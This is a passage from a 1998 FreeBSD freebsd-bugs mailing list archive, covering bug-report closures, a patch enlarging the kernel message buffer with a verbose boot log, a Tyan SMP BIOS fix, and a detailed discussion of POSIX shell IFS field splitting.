X-Loop: FreeBSD.org Correct you are! I tried to send a response earlier but there was some problem with mail. Brian On Mon, 4 May 1998, Dmitrij Tejblum wrote: > Synopsis: UFS has filesize incorrectly stated; persistent corruption when trying to fix. > > State-Changed-From-To: open-closed > State-Changed-By: dt > State-Changed-When: Mon May 4 09:14:35 PDT 1998 > State-Changed-Why: > Not a bug - see audit trail. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 03:29:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA27794 for freebsd-bugs-outgoing; Thu, 14 May 1998 03:29:19 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA27779; Thu, 14 May 1998 03:29:10 -0700 (PDT) (envelope-from jkoshy@FreeBSD.org) From: Joseph Koshy Received: (from jkoshy@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA11779; Thu, 14 May 1998 03:25:27 -0700 (PDT) Date: Thu, 14 May 1998 03:25:27 -0700 (PDT) Message-Id: <199805141025.DAA11779@freefall.freebsd.org> To: fenner@parc.xerox.com, jkoshy@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/2832 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: w treats corrupted utmp as fatal error State-Changed-From-To: open-closed State-Changed-By: jkoshy State-Changed-When: Thu May 14 03:22:39 PDT 1998 State-Changed-Why: Fixed in rev 1.26 of w.c To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 06:13:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA25706 for freebsd-bugs-outgoing; Thu, 14 May 1998 06:13:48 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA25687 for ; Thu, 14 May 1998 06:13:45 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id GAA12421; Thu, 14 May 1998 06:10:01 -0700 (PDT) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA23881 for ; Thu, 14 May 1998 06:04:55 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id PAA03884 for ; Thu, 14 May 1998 15:03:25 +0200 (MDT) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id PAA24622 for ; Thu, 14 May 1998 15:03:24 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id PAA23268 for ; Thu, 14 May 1998 15:03:24 +0200 (CEST) Message-Id: <199805141303.PAA16254@internal> Date: Thu, 14 May 1998 15:03:22 +0200 (CEST) From: Andre Albsmeier To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6633: buffer in sys/sys/msgbuf.h became rather small Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6633 >Category: kern >Synopsis: buffer in sys/sys/msgbuf.h became rather small >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu May 14 06:10:01 PDT 1998 >Last-Modified: >Originator: Andre Albsmeier >Organization: >Release: FreeBSD 2.2.6-STABLE i386 >Environment: my (and probably many other) 2.2-STABLE and -CURRENT systems >Description: Since FreeBSD is the ideal platform for highend servers (as we know for sure :-)), it is obviuos to plug a lot of hardware in it. When booting verbose, the kernel internal dmesg buffer is often far to small to keep all of the boot messages. This becomes a little problematic when you want to see the messages for diagnostic purposes. >How-To-Repeat: Boot a machine with lots of hardware in verbose mode, e.g. this one has 12k: Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.6-STABLE #0: Fri Apr 3 19:00:08 CEST 1998 root@bali.us.tld:/src/src-2.2/sys/compile/SERVER Calibrating clock(s) ... i586 clock: 199449597 Hz, i8254 clock: 1193290 Hz CPU: Pentium (199.45-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping=12 Features=0x1bf real memory = 67108864 (65536K bytes) Physical memory chunk(s): 0x00001000 - 0x0009ffff, 651264 bytes (159 pages) 0x0020e000 - 0x03ffbfff, 64937984 bytes (15854 pages) avail memory = 63729664 (62236K bytes) pcibus_setup(1): mode 1 addr port (0x0cf8) is 0x8000005c pcibus_setup(1a): mode1res=0x80000000 (0x80000000) pcibus_check: device 0 is there (id=12508086) Probing for devices on PCI bus 0: configuration mode 1 allows 32 devices. chip0 rev 3 on pci0:0:0 chip1 rev 1 on pci0:7:0 I/O Recovery Timing: 8-bit 3 clocks, 16-bit 2 clocks Extended BIOS: disabled Lower BIOS: disabled Coprocessor IRQ13: enabled Mouse IRQ12: disabled Interrupt Routing: A: IRQ15, B: IRQ11, C: IRQ10, D: IRQ9 MB0: disabled, MB1: chip2 rev 0 on pci0:7:1 mapreg[20] type=1 addr=0000f000 size=0010. Primary IDE: disabled Secondary IDE: disabled ahc0 rev 0 int a irq 15 on pci0:13:0 mapreg[10] type=1 addr=00006000 size=0100. mapreg[14] type=0 addr=e0000000 size=1000. reg20: virtual=0xf4d9d000 physical=0xe0000000 size=0x1000 ahc0: Reading SEEPROM...done. low byte termination enabled, high byte termination enabled ahc0: aic7880 Single Channel, SCSI Id=7, 16 SCBs ahc0: Resetting Channel A ahc0: Downloading Sequencer Program...ahc0: 373 instructions downloaded Done ahc0: Probing channel A Choosing drivers for scbus configured at 0 ahc0: target 0 synchronous at 10.0MHz, offset = 0xf ahc0: target 0 Tagged Queuing Device (ahc0:0:0): "IBM DPES-31080 S31Q" type 0 fixed SCSI 2 sd is configured at 0 sd0(ahc0:0:0): Direct-Access 1034MB (2118144 512 byte sectors) sd0(ahc0:0:0): with 4903 cyls, 4 heads, and an average 108 sectors/track ahc0: target 1 synchronous at 10.0MHz, offset = 0xf ahc0: target 1 Tagged Queuing Device (ahc0:1:0): "Quantum XP34300 L915" type 0 fixed SCSI 2 sd is configured at 1 sd1(ahc0:1:0): Direct-Access 4101MB (8399520 512 byte sectors) sd1(ahc0:1:0): with 3907 cyls, 20 heads, and an average 107 sectors/track ahc0: target 2 synchronous at 10.0MHz, offset = 0xf ahc0: target 2 Tagged Queuing Device (ahc0:2:0): "Quantum XP34300 L915" type 0 fixed SCSI 2 sd is configured at 2 sd2(ahc0:2:0): Direct-Access 4101MB (8399520 512 byte sectors) sd2(ahc0:2:0): with 3907 cyls, 20 heads, and an average 107 sectors/track ahc0: target 3 synchronous at 20.0MHz, offset = 0xf ahc0: target 3 Tagged Queuing Device (ahc0:3:0): "QUANTUM XP39100S LXY4" type 0 fixed SCSI 2 sd is configured at 3 sd3(ahc0:3:0): Direct-Access 8682MB (17781520 512 byte sectors) sd3(ahc0:3:0): with 5899 cyls, 20 heads, and an average 150 sectors/track ahc0: target 4 synchronous at 20.0MHz, offset = 0xf ahc0: target 4 Tagged Queuing Device (ahc0:4:0): "QUANTUM XP39100S LXY4" type 0 fixed SCSI 2 sd is configured at 4 sd4(ahc0:4:0): Direct-Access 8682MB (17781520 512 byte sectors) sd4(ahc0:4:0): with 5899 cyls, 20 heads, and an average 150 sectors/track ahc1 rev 0 int a irq 11 on pci0:14:0 mapreg[10] type=1 addr=00006400 size=0100. mapreg[14] type=0 addr=e0001000 size=1000. reg20: virtual=0xf4d9e000 physical=0xe0001000 size=0x1000 ahc1: Reading SEEPROM...done. low byte termination enabled, high byte termination enabled ahc1: aic7880 Single Channel, SCSI Id=7, 16 SCBs ahc1: Resetting Channel A ahc1: Downloading Sequencer Program...ahc1: 373 instructions downloaded Done ahc1: Probing channel A Choosing drivers for scbus configured at 1 ahc1: target 0 synchronous at 4.4MHz, offset = 0xf (ahc1:0:0): "IMPRIMIS 94601-15 4202" type 0 fixed SCSI 1 sd is configured at 10 sd10(ahc1:0:0): Direct-Access 992MB (2031705 512 byte sectors) sd10(ahc1:0:0): with 1931 cyls, 15 heads, and an average 70 sectors/track ahc1: target 1 synchronous at 4.4MHz, offset = 0xf (ahc1:1:0): "IMPRIMIS 94601-15 4202" type 0 fixed SCSI 1 sd is configured at 11 sd11(ahc1:1:0): Direct-Access 992MB (2031705 512 byte sectors) sd11(ahc1:1:0): with 1931 cyls, 15 heads, and an average 70 sectors/track ahc1: target 2 synchronous at 4.4MHz, offset = 0xf (ahc1:2:0): "IMPRIMIS 94601-15 1296" type 0 fixed SCSI 1 sd is configured at 12 sd12(ahc1:2:0): Direct-Access 989MB (2026965 512 byte sectors) sd12(ahc1:2:0): with 1931 cyls, 15 heads, and an average 69 sectors/track ahc1: target 3 synchronous at 5.0MHz, offset = 0xf ahc1: target 3 Tagged Queuing Device (ahc1:3:0): "SEAGATE ST41650 6414" type 0 fixed SCSI 2 sd is configured at 13 sd13(ahc1:3:0): Direct-Access 1350MB (2766300 512 byte sectors) sd13(ahc1:3:0): with 2107 cyls, 15 heads, and an average 87 sectors/track ahc1: target 4 synchronous at 10.0MHz, offset = 0xf ahc1: target 4 Tagged Queuing Device (ahc1:4:0): "SEAGATE ST42400N 0116" type 0 fixed SCSI 2 sd is configured at 14 sd14(ahc1:4:0): Direct-Access 2030MB (4159462 512 byte sectors) sd14(ahc1:4:0): with 2626 cyls, 19 heads, and an average 83 sectors/track ahc1: target 5 synchronous at 10.0MHz, offset = 0xf ahc1: target 5 Tagged Queuing Device (ahc1:5:0): "SEAGATE ST15230N 0298" type 0 fixed SCSI 2 sd is configured at 15 sd15(ahc1:5:0): Direct-Access 4095MB (8386733 512 byte sectors) sd15(ahc1:5:0): with 3992 cyls, 19 heads, and an average 110 sectors/track ahc1: target 6 synchronous at 10.0MHz, offset = 0xf ahc1: target 6 Tagged Queuing Device (ahc1:6:0): "SEAGATE ST15230N 0298" type 0 fixed SCSI 2 sd is configured at 16 sd16(ahc1:6:0): Direct-Access 4095MB (8386733 512 byte sectors) sd16(ahc1:6:0): with 3992 cyls, 19 heads, and an average 110 sectors/track ahc2 rev 0 int a irq 10 on pci0:15:0 mapreg[10] type=1 addr=00006800 size=0100. mapreg[14] type=0 addr=e0002000 size=1000. reg20: virtual=0xf4d9f000 physical=0xe0002000 size=0x1000 ahc2: Reading SEEPROM...done. low byte termination disabled, high byte termination enabled ahc2: aic7880 Single Channel, SCSI Id=7, 16 SCBs ahc2: Resetting Channel A ahc2: Downloading Sequencer Program...ahc2: 373 instructions downloaded Done ahc2: Probing channel A Choosing drivers for scbus configured at 2 ahc2: target 0 synchronous at 20.0MHz, offset = 0xf ahc2: target 0 Tagged Queuing Device (ahc2:0:0): "SEAGATE ST423451N 0011" type 0 fixed SCSI 2 sd is configured at 20 sd20(ahc2:0:0): Direct-Access 22130MB (45322644 512 byte sectors) sd20(ahc2:0:0): with 6876 cyls, 28 heads, and an average 235 sectors/track ahc2: target 3 synchronous at 5.0MHz, offset = 0xf (ahc2:3:0): "DEC DLT2700 8525" type 1 removable SCSI 2 st is configured at 0 st0(ahc2:3:0): Sequential-Access density code 0x19, drive empty (ahc2:3:1): "DEC TZ Media Changer 8525" type 8 removable SCSI 2 ch is configured at 0 ch0(ahc2:3:1): Medium-Changer 7 slots, 1 drive, 1 picker ch0: move mask: 0x0 0x8 0x0 0x2 ch0: exchange mask: 0x0 0x0 0x0 0x0 ahc2: target 4 synchronous at 5.0MHz, offset = 0x8 (ahc2:4:0): "HP HP35480A 1109" type 1 removable SCSI 2 st is configured at 1 st1(ahc2:4:0): Sequential-Access density code 0x13, drive empty ahc2: target 6 synchronous at 8.0MHz, offset = 0xf (ahc2:6:0): "NEC CD-ROM DRIVE:502 2.0r" type 5 removable SCSI 2 cd is configured at 0 cd0(ahc2:6:0): CD-ROM can't get the size chip3 rev 2 on pci0:16:0 bridge from pci0 to pci1 through 1. mapping regs: io:2280e0e0 mem:dff0dc00 pmem:bff0bc00 pci0: uses 12288 bytes of memory from bc000000 upto e0002fff. pci0: uses 784 bytes of I/O space from 6000 upto f00f. pci0: subordinate busses from 1 upto 1. Probing for devices on PCI bus 1: de0 rev 36 int a irq 9 on pci1:4:0 mapreg[10] type=1 addr=0000e000 size=0080. [pci1 uses memory from dc000000 to dfffffff] mapreg[14] type=0 addr=dd000000 size=0080. reg16: ioaddr=0xe000 size=0x80 de0: SMC 8434BT-CH1 21040 [10Mb/s] pass 2.4 de0: address 00:00:c0:ba:73:e0 bpf: de0 attached de1 rev 36 int a irq 15 on pci1:5:0 mapreg[10] type=1 addr=0000e400 size=0080. [pci1 uses memory from dc000000 to dfffffff] mapreg[14] type=0 addr=dd001000 size=0080. reg16: ioaddr=0xe400 size=0x80 using shared irq 15. de1: SMC 8434BT-CH2 21040 [10Mb/s] pass 2.4 de1: address 00:00:c0:81:78:e0 bpf: de1 attached pci1: uses 256 bytes of memory from dd000000 upto dd00107f. pci1: uses 256 bytes of I/O space from e000 upto e47f. Initializing PnP override table Probing for PnP devices: Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 No Plug-n-Play devices were found Probing for devices on the ISA bus: sc0: the current keyboard controller command byte 0065 kbdio: DIAGNOSE status:0055 kbdio: TEST_KBD_PORT status:0000 kbdio: RESET_KBD return code:00fa kbdio: RESET_KBD status:00aa sc0 at 0x60-0x6f irq 1 on motherboard sc0: BIOS video mode:3 sc0: VGA registers upon power-up 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: video mode:24 sc0: VGA registers in BIOS for mode:24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: VGA registers to be used for mode:24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: rows_offset:1 sc0: VGA color <9 virtual consoles, flags=0x0> ed0 at 0x240-0x25f irq 5 maddr 0xd8000 msize 8192 on isa ed0: address 00:00:c0:0f:aa:dd, type SMC8416C/SMC8416BT (16 bit) bpf: ed0 attached lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface bpf: lp0 attached sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A pca0 on motherboard pca0: PC speaker audio driver fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in npx0 flags 0x1 on motherboard npx0: INT 16 interface imasks: bio c0008c40, tty c003009a, net c0028220 BIOS Geometries: 0:0082fe3f 0..130=131 cylinders, 0..254=255 heads, 1..63=63 sectors 1:0209fe3f 0..521=522 cylinders, 0..254=255 heads, 1..63=63 sectors 2:0209fe3f 0..521=522 cylinders, 0..254=255 heads, 1..63=63 sectors 3:03fefe3f 0..1022=1023 cylinders, 0..254=255 heads, 1..63=63 sectors 4:03fefe3f 0..1022=1023 cylinders, 0..254=255 heads, 1..63=63 sectors 5:03df3f20 0..991=992 cylinders, 0..63=64 heads, 1..32=32 sectors 6:03df3f20 0..991=992 cylinders, 0..63=64 heads, 1..32=32 sectors 7:03dc3f20 0..988=989 cylinders, 0..63=64 heads, 1..32=32 sectors 0 accounted for Device configuration finished. Considering FFS root f/s. configure() finished. Intel Pentium F00F detected, installing workaround bpf: lo0 attached ccd0-3: Concatenated disk drivers sd0s1: type 0xa5, start 0, end = 2118143, size 2118144 : OK sd3s1: type 0xa5, start 0, end = 17781519, size 17781520 : OK sd4s1: type 0xa5, start 0, end = 17781519, size 17781520 : OK sd20s1: type 0xa5, start 0, end = 45322643, size 45322644 : OK sd20s1: type 0xa5, start 0, end = 45322643, size 45322644 : OK de0: enabling AUI/BNC port de1: enabling AUI/BNC port ed0: promiscuous mode enabled de0: promiscuous mode enabled de1: promiscuous mode enabled >Fix: quite simple: *** msgbuf.h.ORI Thu May 14 14:50:57 1998 --- msgbuf.h Thu May 14 14:51:26 1998 *************** *** 37,43 **** #ifndef _SYS_MSGBUF_H_ #define _SYS_MSGBUF_H_ ! #define MSG_BSIZE (8192 - 3 * sizeof(unsigned int)) struct msgbuf { #define MSG_MAGIC 0x063061 unsigned int msg_magic; --- 37,43 ---- #ifndef _SYS_MSGBUF_H_ #define _SYS_MSGBUF_H_ ! #define MSG_BSIZE (16384 - 3 * sizeof(unsigned int)) struct msgbuf { #define MSG_MAGIC 0x063061 unsigned int msg_magic; >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 10:03:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA05757 for freebsd-bugs-outgoing; Thu, 14 May 1998 10:03:51 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA05744 for ; Thu, 14 May 1998 10:03:47 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA08102; Thu, 14 May 1998 10:00:02 -0700 (PDT) Date: Thu, 14 May 1998 10:00:02 -0700 (PDT) Message-Id: <199805141700.KAA08102@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Ted Mittelstaedt Subject: RE: kern/6628: Tyan Tomcat III locks SMP-GENERIC kernel on boot Reply-To: Ted Mittelstaedt Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/6628; it has been noted by GNATS. From: Ted Mittelstaedt To: "tedm@portsoft.com" , "'Garrett Wollman'" Cc: "FreeBSD-gnats-submit@FreeBSD.ORG" , "'FreeBSD SMP mailing list'" , "'FreeBSD FAQ Maintainer'" Subject: RE: kern/6628: Tyan Tomcat III locks SMP-GENERIC kernel on boot Date: Thu, 14 May 1998 09:46:44 -0700 Oh Geeze! I should have played around more with BIOS settings! There is NO setting for "route interrupus via I/O APIC" in the Tyan Tomcat's BIOS. (Is that anything like Coitus Interruptus?) :) However, there IS a BIOS setting for the Tyan board under the "Chipset Features Setup" menu item labeled (innocuously enough): "Chipset Special Features" Enabled/Disabled. Setting this to "Enabled" seems to fix the problem! I hope someone puts this in the hardware FAQ for 3.0! This was on BIOS version 4.01 for the Tomcat IIID - I had to flash the motherboard with current BIOS code. One hiccup on the flashing process - when I flashed it I got to 1F00 and the flash program locked up, but waiting 5 minutes and cold-booting the b oard seemed fine. I even flashed it twice and it locked up both times in the same location. Pretty hairy when the flash program is sitting there blinking "Do Not Cold Boot While This Program Is Running" messages. The one noticeable difference in the mptable output after flashing the BIOS: version 4.01 of the BIOS changes the version number in the MP Floating Pointer Structure from version 1.1 to 1.4 Ted ---------- From: Garrett Wollman[SMTP:wollman@khavrinen.lcs.mit.edu] Sent: Wednesday, May 13, 1998 2:08 PM To: tedm@portsoft.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: kern/6628: Tyan Tomcat III locks SMP-GENERIC kernel on boot < said: > After compiling the SMP kernel and installing it, a reboot produces a list of > all the devices, then as soon as the second CPU is started the system locks up. I have seen these symptoms on my Intel Buckeyes (BB440FX). I found that there was a setting in the BIOS for ``route interrupus via I/O APIC'' which needed to be set for MP to work. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 11:03:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA13931 for freebsd-bugs-outgoing; Thu, 14 May 1998 11:03:55 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA13920 for ; Thu, 14 May 1998 11:03:49 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA08266; Thu, 14 May 1998 11:00:01 -0700 (PDT) Date: Thu, 14 May 1998 11:00:01 -0700 (PDT) Message-Id: <199805141800.LAA08266@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6557: /bin/sh && IFS Reply-To: woods@zeus.leitch.com (Greg A. Woods) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods) To: FreeBSD-gnats-submit@freebsd.org Cc: Subject: Re: bin/6557: /bin/sh && IFS Date: Thu, 14 May 1998 14:00:38 -0400 (EDT) [ On Wed, May 13, 1998 at 02:00:02 (-0700), Martin Cracauer wrote: ] > Subject: Re: bin/6557: /bin/sh && IFS > > Hm, Solaris' ksh and sh don't agree completely (Solaris 2.6/SPARC): Actually with your example the original Bourne Shell is the odd man out. Ksh-88i, Ksh93, ash (both NetBSD & FreeBSD), and pdksh-5.2.13 all behave similarly with your example (which is I think the one that gets right down to the meat of the problem). I've finally found the rationale in POSIX 1003.2 Draft 11.2 that talks about this, and it does seem to make a certain amount of sense, though it introduces strange magic that can lead to very unexpected results: Copyright c 1991 IEEE. All rights reserved. This is an unapproved IEEE Standards Draft, subject to change. BEGIN_RATIONALE 3.6.5.1 Field Splitting Rationale. (This subclause is not a part of P1003.2) The operation of field splitting using IFS as described in earlier drafts was based on the way the KornShell splits words, but is incompatible with other common versions of the shell. However, each has merit, and so a decision was made to allow both. If the IFS variable is unset, or is , the operation is equivalent to the way the System V shell splits words. Using characters outside the set yields the KornShell behavior, where each of the non- characters is significant. This behavior, which affords the most flexibility, was taken from the way the original awk handled field splitting. The (3) rule can be summarized as a pseudo ERE: 1 (s*ns*|s+) 1 where s is an IFS white-space character and n is a character in the IFS 1 that is not white space. Any string matching that ERE delimits a field, 1 except that the s+ form does not delimit fields at the beginning or the 1 end of a line. For example, if IFS is , the string 1 red,whiteblue 1 yields the three colors as the delimited fields. 1 END_RATIONALE 1 > Hm, so what are the arguments to `for` (or to any command)? > > As far as I can tell, they are > - not parameter expansion > - not command substitution > - not arithmetic expansion > > The paragraph above says that only results of these expansions and > substitutions are subject to field splitting. What kind of > substitution or expandsion are command arguments a result of? Command arguments are not a valid concept here at all. A deep and dark alley full of many horrors awaits anyone trying to think of things in those terms. Another section from P1003.2D11.2 may clear the fog (and also gives concrete reasons for siding with Korn on these mechanisms): Copyright c 1991 IEEE. All rights reserved. This is an unapproved IEEE Standards Draft, subject to change. BEGIN_RATIONALE 3.6.0.1 Word Expansions Rationale. (This subclause is not a part of P1003.2) IFS is used for performing field splitting on the results of parameter and command substitution; it is not used for splitting all fields. Previous versions of the shell used it for splitting all fields during field splitting, but this has severe problems because the shell can no longer parse its own script. There are also important security implications caused by this behavior. All useful applications of IFS use it for parsing input of the read utility and for splitting the results of parameter and command substitution. New versions of the shell have fixed this bug, and POSIX.2 requires the corrected behavior. The rule concerning expansion to a single field requires that if foo=abc and bar=def, that "$foo""$bar" expands to the single field abcdef The rule concerning empty fields can be illustrated by: $ unset foo $ set $foo bar '' xyz "$foo" abc $ for i > do > echo "-$i-" > done -bar- -- -xyz- -- -abc- Step (1) indicates that Tilde Expansion, Parameter Expansion, Command 1 Substitution, and Arithmetic Expansion are all processed simultaneously as they are scanned. For example, the following is valid arithmetic: x=1 echo $(( $(echo 3)+$x )) An earlier draft stated that Tilde Expansion preceded the other steps, 1 but this is not the case in known historical implementations; if it were, 1 and a referenced home directory contained a $ character, expansions would 1 result within the directory name. 1 END_RATIONALE 1 If that didn't quite do it, then perhaps this will (the actual rules that appear before the above quoted rationale). This next section also answers your last question about the empty field (i.e. pdksh is wrong): Copyright c 1991 IEEE. All rights reserved. This is an unapproved IEEE Standards Draft, subject to change. 3.6 Word Expansions This clause describes the various expansions that are performed on words. Not all expansions are performed on every word, as explained in the following subclauses. Tilde expansions, parameter expansions, command substitutions, arithmetic expansions, and quote removals that occur within a single word expand to a single field. It is only field splitting or pathname expansion that can create multiple fields from a single word. The single exception to this rule is the expansion of the special parameter @ within double- quotes, as is described in 3.5.2. The order of word expansion shall be as follows: (1) Tilde Expansion (see 3.6.1), Parameter Expansion (see 3.6.2), 1 Command Substitution (see 3.6.3), and Arithmetic Expansion (see 3.6.4) shall be performed, beginning to end. [See item (5) in 3.3.] (2) Field Splitting (see 3.6.5) shall be performed on fields generated by step (1) unless IFS is null. [[NOTE: there's a minor inconsistency in the above vs. the rationale quoted first in this message, specifically the earlier rationale stated "If the IFS variable is unset, or is , the operation is equivalent to the way the System V shell splits words." which would imply more magic happens than the above actual rule allows. Hopefully nobody's implmented the extra magic given in the rationale.]] (3) Pathname Expansion (see 3.6.6) shall be performed, unless set -f is in effect. (4) Quote Removal (see 3.6.7) shall always be performed last. The expansions described in this clause shall occur in the same shell environment as that in which the command is executed. If the complete expansion appropriate for a word results in an empty field, that empty field shall be deleted from the list of fields that form the completely expanded command, unless the original word contained 1 single-quote or double-quote characters. 1 The $ character is used to introduce parameter expansion, command substitution, or arithmetic evaluation. If an unquoted $ is followed by a character that is either not numeric, the name of one of the special parameters (see 3.5.2), a valid first character of a variable name, a left curly brace ({), or a left parenthesis, the result is unspecified. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 12:09:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA24243 for freebsd-bugs-outgoing; Thu, 14 May 1998 12:09:12 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from lohi.clinet.fi (UNKNOWN@lohi.clinet.fi [194.100.0.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA24234 for ; Thu, 14 May 1998 12:09:05 -0700 (PDT) (envelope-from hsu@katiska.clinet.fi) Received: from katiska.clinet.fi (katiska.clinet.fi [194.100.0.4]) by lohi.clinet.fi (8.8.8/8.8.6) with ESMTP id WAA18177; Thu, 14 May 1998 22:08:51 +0300 (EEST) Received: (from hsu@localhost) by katiska.clinet.fi (8.8.8/8.8.6) id WAA20078; Thu, 14 May 1998 22:08:40 +0300 (EEST) To: toasty@home.dragondata.com Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6623: non-root user can crash system if disconnected de card present References: <199805131619.LAA03995@home.dragondata.com.newsgate.clinet.fi> From: Heikki Suonsivu Date: 14 May 1998 22:08:39 +0300 In-Reply-To: toasty@home.dragondata.com's message of 14 May 1998 04:49:33 +0300 Message-ID: Lines: 15 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org toasty@home.dragondata.com writes: > Also... Why after a card decides theres a cable problem will it not detect > the cable being put back in until you do a 'ifconfig de0 down'. (as soon a > syou type that, it suddenly sees the cable again) These are netgear 10/100 > cards... > > de0: rev 0x22 int a irq 19 on pci0.17.0 > de0: 21140A [10-100Mb/s] pass 2.2 metoo with SMC variant of 21140A card. -- Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi mobile +358-40-5519679 work +358-9-43542270 fax -4555276 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu May 14 13:53:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09245 for freebsd-bugs-outgoing; Thu, 14 May 1998 13:53:00 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.artcom.de ([192.76.129.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id 